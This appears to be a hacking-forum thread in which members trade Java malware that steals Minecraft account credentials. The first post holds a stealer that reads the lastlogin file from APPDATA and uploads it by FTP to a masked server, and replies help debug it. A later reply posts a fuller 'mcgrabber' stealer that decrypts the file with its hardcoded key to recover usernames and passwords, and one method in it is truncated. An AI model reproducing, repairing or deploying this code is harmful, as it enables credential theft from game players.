Hey HF. I made a "Lastlogin-Stealer" in Java,
but I have a problem. The stealer is only working when I run it over Eclipse. When I export and execute it, nothing happens. Does anyone know what's wrong? Heres my code:

Main.java

Code

public class Main {

    public static void main(String[] args) {
        Stealer stealer = new Stealer();
    }
}

Stealer.java

Code

import java.io.File;
import java.io.FileInputStream;
import org.apache.commons.net.ftp.FTPClient;

public class Stealer implements Runnable {

    public Stealer() {
        run();
    }

    @Override
    public void run() {
           try {
               File file = new File(System.getenv("APPDATA"), ".minecraft/lastlogin");
              FTPClient ftpClient = new FTPClient();
               ftpClient.connect("**.**");
               ftpClient.login("**", "**");
              ftpClient.storeFile("Lastlogin " + System.currentTimeMillis(), new FileInputStream(file));
               ftpClient.logout();
               ftpClient.disconnect();
           } catch (Exception e) {
              e.printStackTrace();
        }
    }
}

Thanks.

Please post your entire code. As far as I can tell, there's nothing wrong with what you posted.

[MrMysteri0us]

Okay I'll do later when I'm back at home.

Are you using an API to use the FTP? If you are... did you make sure it was packed into the jar also?

[roflmao5314]

When you run it in eclipse, I don't think there is a lastlogin file since eclipse test mode doesn't require logging in. Maybe you could do something with that?

[Nickimew15]

I have never done Java coding but from learning C# I cannot tell anything wrong. And to clear up some people on questions he is attempting to make a LastLogin file stealer for Minecraft. When you type in your Username/Pass into Minecraft it saves it locally.. and this is how cracking is so easy.

Yup. I'm using the Commons Net API 3.1 and I made sure that the API is in the jar. That's the problem 😶

First on the export wizard are you exporting it as a JAR or as a Runnable JAR (2 options down)? If you are exporting it as a Runnable JAR are you selecting the Launch configuration that points to your class with a main() in it? Do you have a main()?

I'm exporting it as a runnable jar. But I cannot find an option that points to my main() 😊

Setup a join.me and send me the link. We will see if we can't get this compiled for you.

[MrMysteri0us]

Okay. I'm gonna try. Thanks :)

I solved the problem. I made a batch file that runs it as an administrator.
Thanks to everyone for trying to help 🤝

If you want an example MC last-login stealer, you can use mine here:

mcgrabber.Account (Click to View)

Code

package mcgrabber;

public class Account {

    private final String username, password;

    public Account(String username, String password) {
        this.username = username;
        this.password = password;
    }

    public String getUsername() {
        return username;
    }

    public String getPassword() {
        return password;
    }

}

mcgrabber.AccountGrabber (Click to View)

Code

package mcgrabber;

import java.io.DataInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.util.Random;

import javax.crypto.Cipher;
import javax.crypto.CipherInputStream;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.PBEParameterSpec;

public final class AccountGrabber {

    private static final long RANDOM_SEED = 43287234L;
    private static final Random random = new Random(RANDOM_SEED);

    public static Account grabAccount() {
        final byte[] salt = new byte[8];
        random.nextBytes(salt);

        try {
            PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
            SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
            Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
            cipher.init(2, pbeKey, pbeParamSpec);
            DataInputStream dis = new DataInputStream(new CipherInputStream(new FileInputStream(new File(OperatingSystem.getOperatingSystem().getMinecraftDirectory(), "lastlogin")), cipher));

            Account account = new Account(dis.readUTF(), dis.readUTF());
            dis.close();
            return account;
        } catch (Exception e) {}

        return null;
    }

}

mcgrabber.OperatingSystem (Click to View)

Code

package mcgrabber;

import java.io.File;

public enum OperatingSystem {

    WINDOWS {
        @Override
        public String getBaseDirectory() {
            return ".minecraft/";
        }

        @Override
        public String getHome() {
            String appdata = System.getenv("APPDATA");
            if (appdata != null) return appdata + "\\";
            return super.getHome();
        }
    },
    MACINTOSH {
        @Override
        public String getBaseDirectory() {
            return "Library/Application Support/minecraft";
        }
    },
    OTHER {
        @Override

            return new File(getHome(), ".minecraft/");
        }

        @Override
        public String getBaseDirectory() {
            return ".minecraft/";
        }
    };

    public String getHome() {
        return System.getProperty("user.home");
    }

    protected abstract String getBaseDirectory();
    public File getMinecraftDirectory() {
        return new File(getHome() + getBaseDirectory());
    }

    public static OperatingSystem forName(String name) {
        for (OperatingSystem os : values()) {
            if (name.toUpperCase().contains(os.name())) {
                return os;
            }
        }
        return OTHER;
    }

    public static OperatingSystem getOperatingSystem() {
        return forName(System.getProperty("os.name", ""));
    }

}

Thanks, got it working already. 🤝
